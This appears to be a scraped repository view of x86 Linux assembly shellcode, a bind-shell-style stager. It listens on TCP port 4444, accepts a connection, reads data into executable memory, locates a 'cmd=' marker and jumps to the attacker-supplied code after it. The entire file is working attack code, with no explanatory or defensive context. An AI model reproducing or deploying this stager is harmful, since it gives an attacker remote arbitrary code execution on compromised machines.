||||
push BYTE 0x02
|
||||
pop ebx ;SYS_BIND
|
||||
push edx ;INADDR_ANY
|
||||
push 0x5c110002 ;PORT 0x115C = 4444
|
||||
mov ecx, esp ;server struct
|
||||
push BYTE 0x10 ;addrlen
|
||||
push ecx
|
||||
push esi ;socketfd
|
||||
mov ecx, esp ; ptr to argument array
|
||||
push BYTE 0x66
|
||||
pop eax ;socketcall is syscall #102
|
||||
int 0x80
|
||||
|
||||
inc ebx
|
||||
inc ebx ;SYS_LISTEN
|
||||
push ebx ;backlog
|
||||
push esi ;socketfd
|
||||
mov ecx, esp ;ptr to argument array
|
||||
push BYTE 0x66
|
||||
pop eax ;socketcall is syscall #102
|
||||
int 0x80
|
||||
|
||||
inc ebx ;SYS_ACCEPT
|
||||
push edx ;socklen = 0
|
||||
push edx ;sockaddr ptr = NULL
|
||||
push esi ;socketfd
|
||||
mov ecx, esp ; ptr to argument array
|
||||
push BYTE 0x66
|
||||
pop eax ;socketcall is syscall #102
|
||||
int 0x80
|
||||
|
||||
xchg esi, eax ;serversocket in eax and client socket handler into esi
|
||||
xchg eax, ebx ;serversocket in ebx
|
||||
mov eax, 0x6 ;close serversocket
|
||||
int 0x80
|
||||
|
||||
push BYTE 0x00 ;offset =0
|
||||
push 0xFFFFFFFF ;fd = -1
|
||||
push BYTE 0x22 ;MAP_ANONYMOUS | MAP_PRIVATE
|
||||
push BYTE 0x07 ;PROT_READ | PROT_WRITE | PROT_EXEC
|
||||
push 0x1000 ;allocated size
|
||||
push BYTE 0x00 ;system determines location
|
||||
mov ebx, esp ;ptr tot argument array
|
||||
push BYTE 0x5a
|
||||
pop eax ;MMAP call
|
||||
int 0x80
|
||||
mov edi, eax ;ptr to allocated memory
|
||||
|
||||
; read from socket into memory
|
||||
mov dx, 0x1000 ;max bytes to read
|
||||
mov ecx, edi ;pointer to memory
|
||||
mov ebx, esi ;clientsocket
|
||||
push BYTE 0x03
|
||||
pop eax
|
||||
int 0x80
|
||||
|
||||
push BYTE 0x06
|
||||
pop eax ;close clientsocket
|
||||
int 0x80
|
||||
|
||||
search:
|
||||
cmp DWORD [edi], 0x3d646d63 ;compare with "cmd="
|
||||
je short found ;jump if found
|
||||
inc edi ;look some further
|
||||
jmp short search
|
||||
found:
|
||||
push BYTE 0x04
|
||||
pop eax
|
||||
add edi, eax ;skip "cmd="
|
||||
jmp edi ;jump to the staged shellcode
|
||||
Reference in New Issue
Block a user